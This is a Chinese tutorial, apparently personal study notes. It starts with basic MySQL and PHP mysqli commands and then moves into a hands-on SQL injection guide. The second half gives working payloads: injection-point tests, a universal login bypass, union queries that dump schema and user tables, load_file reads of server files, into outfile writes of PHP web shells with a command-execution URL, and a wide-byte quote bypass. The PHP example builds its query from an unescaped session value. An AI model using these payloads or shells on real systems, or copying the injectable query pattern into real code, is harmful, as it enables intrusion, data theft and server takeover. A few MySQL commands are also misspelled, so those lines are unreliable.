MySQL使用B+树来存储数据,有两种存储引擎MyISAM和InnoDB。INNODB:利用非叶子节点来存储索引,叶子节点来存储数据;MYISAM:利用非叶子节点来存储索引,叶子结点来存储数据的指针,数据是单独存储的。
mysql的基本操作
一.登录MySQL
1.登录指定IP的root用户
mysql -h 199.199.10.1 -u root -p
Enter password:******
2.默认登录本机(推荐这种方法登录)
mysql -u root -p
Enter password:******
3.直接进入到指定数据库的登录方法
mysql -u root -p databaseName
Enter password:******
二.基本命令
2.1 数据库的基本操作
1. 查看所有的数据库:
show database;
2. 创建数据库:
create database databaseName;
3. 进入到指定的数据库:
use databaseName;
4. 查看当前所在的库:
select database();
5. 查看建库语句:
show create datebase databaseName;
6. 删除指定数据库:
drop database databaseName;
7. 退出Mysql数据库:
1. exit
2.\q
3.quit
2.2 数据表的基本操作
1. 查看库中的所有数据表:
show tables;
2. 创建数据表:
注意:创建表时,字符类型必须要设定长度,最后一个字段后面不能写逗号。
create table tableName(
字段1 字段数据类型,
字段2 字段数据类型,
字段3 字段数据类型
);
3. 查看表的结构:
desc tableName;
4. 查看建表语句:
show create table tableName;
5. 查看表中的数据:
select * from tableName;
//查看另一个库中表的数据表
select * from databaseName.tableName;
6. 删除数据表:
drop table tableName1,tableName2,tableName...;
7. 添加字段:
#1.不指定添加字段的位置:【默认在最后】
alter table tableName add 字段名 字段数据类型;
#2.指定添加在某个字段的后面【after】
alter table tableName add 字段名 字段数据类型 after 前一个字段;
#3.添加在表的最前面【first】
alter table tableName add 字段名 字段数据类型 first;
8. 修改字段:
#1. 修改原来字段的数据类型:
alter table tableName modify 字段名 字段数据类型;
#2. 修改原来的字段名,包括数据类型:
alter table tableName change 原字段名 新字段名 字段数据类型;
#3. 给已有的字段添加主键
alter table tableName add primary key (字段名);
9. 删除字段:
alter table tableName drop 字段名;
10. 数据表从命名:
alter table 原表名 rename 新表名;
2.3 数据的基本操作
1. 在表中添加数据:
#1.对所有的字段添加数据:
insert into tableName values (字段1数据,字段2数据,字段...数据);
#2.对指定的字段添加数据:
insert into tableName (字段1,字段3,字段5) values (字段1数据,字段3数据,字段5数据);
2. 删除表中数据:
#1.删除表中所有数据(尽量不用):
delete from tableName;
#2.按条件删除指定数据:
delete from tableName where 条件;
#3.如果字段是自增属性,用以上两种方法删除数据后插入数据时仍然按删除之前自增
truncate table tableName;
3. 修改表中数据:
update tableName set 字段1=新值,字段2=新值 where 条件;
2.4 其它基本命令
\h ---快捷帮助
\c ---取消命令输入
\s ---查看当前数据库的操作
\q ---退出MySQL命令行
\G ---以列的形式展示结果
tee 路径\文件夹 ---导出命令到本地文件
2.5 mysql常用函数
- 系统用户名:
system_user()
- 用户名:
user()
- 当前用户名:
current_user()
- 连接数据库的用户名:
session_user()
- 数据库名:
database()
- MySQL版本号:
version()
- 读取服务器本地文件:
load_file(根路径)
- 向服务器写入文件:
into outfile()
- 读取数据库路径:
@@datadir
- MySQL安装路径:
@@basedir
- 操作系统:
@@version_compile_os
三.PHP操作MySQL
1.连接数据库
$link = mysqli_connect('localhost', 'root', 'password');
2.设置数据库的编码格式
mysqli_set_charset($link, 'utf8');
3.选择连接的数据库
mysqli_select_db($link, 'mxf');
4.定义SQL语句
$sqlStr = "delete from users where username='{$_SESSION['username']}';";
5.发送并执行SQL语句
$res = mysqli_query($link, $sql);
6.关闭连接
mysqli_close($link);
mysql注入
一.判断是否存在注入点
1.SQL语句是否可以插入
- 单引号截断:
'
- 双引号:
"
- 单引号或双引号加右括号:
)
用此方法可以验证是否开了waf狗
2.是否可以进行union联查
语句结尾用and连接1=1(true)和1=2(false)进行调试;如果and 1=1时服务器反馈为真,and 1=2时服务器反馈为false,证明可以进行union联查
3.是否可以忽略应用程序的后续语句
- 在URL中使用–+来注释后面的内容,这里的+好在URL中相当于空格
- 在输入框中输入#来注释代码中后面的内容,不能在URL中使用,因为在URL中#代表锚点
- 万能密码:admin’ or ‘1’='1
4.如果存在waf
- 在URL后面输入 / 报错
- 输在URL后面输入 -0 正常
二.爆破
1.获取数据库中的信息
①.获取一次可以显示的字段长度:
使用 order by 1,2,3… 来确定服务器返回的字段数,挨个去试,直到报错,报错前一个就是可以显示的字段数
②.获取数据库信息
- 查询当前所在的库:
select database()
- 查询数据库中的所有库:
select schema from information_schema
③.获取数据表
获取指定库下的表:
select 1,1,group_concat(table_name) from information_schema.tables where table_schema='wuya'--+
④.获取表和字段
获取指定表中的字段:
union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='wuya'--+
⑤.获取表中数据
获取指定表中的数据:
select group_concat(concat_ws(',',id,username,password) SEPARATOR '|') from users group by '1'
2.mysql读写函数的使用
①.load_file()函数
- 该函数是用来读取源文件的函数
- 只能读取绝对路径的网页文件
- 在使用load_file()时应先找到网站绝对路径
- 将绝对路径转换为16进制数时,不需要使用引号
- 读取网站文件内容:
and 1=2 union select 1,load_file('C:\\inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php'),3,4
②.into outfile
- 可以写入一句话木马,然后使用蚁剑或者菜刀直接连接
and 1=2 union select 1,"<?php @eval ($_POST['psword']);?>",3,4 into outfile 'D:/www/mysql-sql/shell.php'
- system函数可以执行os命令,通过向指定文件中传入参数
and 1=2 union select 1,"<?php @system($_GET['par']);?>",3,4 into outfile 'D:/www/mysql-sql/system.php'
使用URL访问写入的指定文件,并传入参数:
www.xxxx.com/system.php?par=ipconfig
三.绕过(待补充)
1.关于魔术引号注入
- 使用宽字节注入绕过魔术引号:
%df%27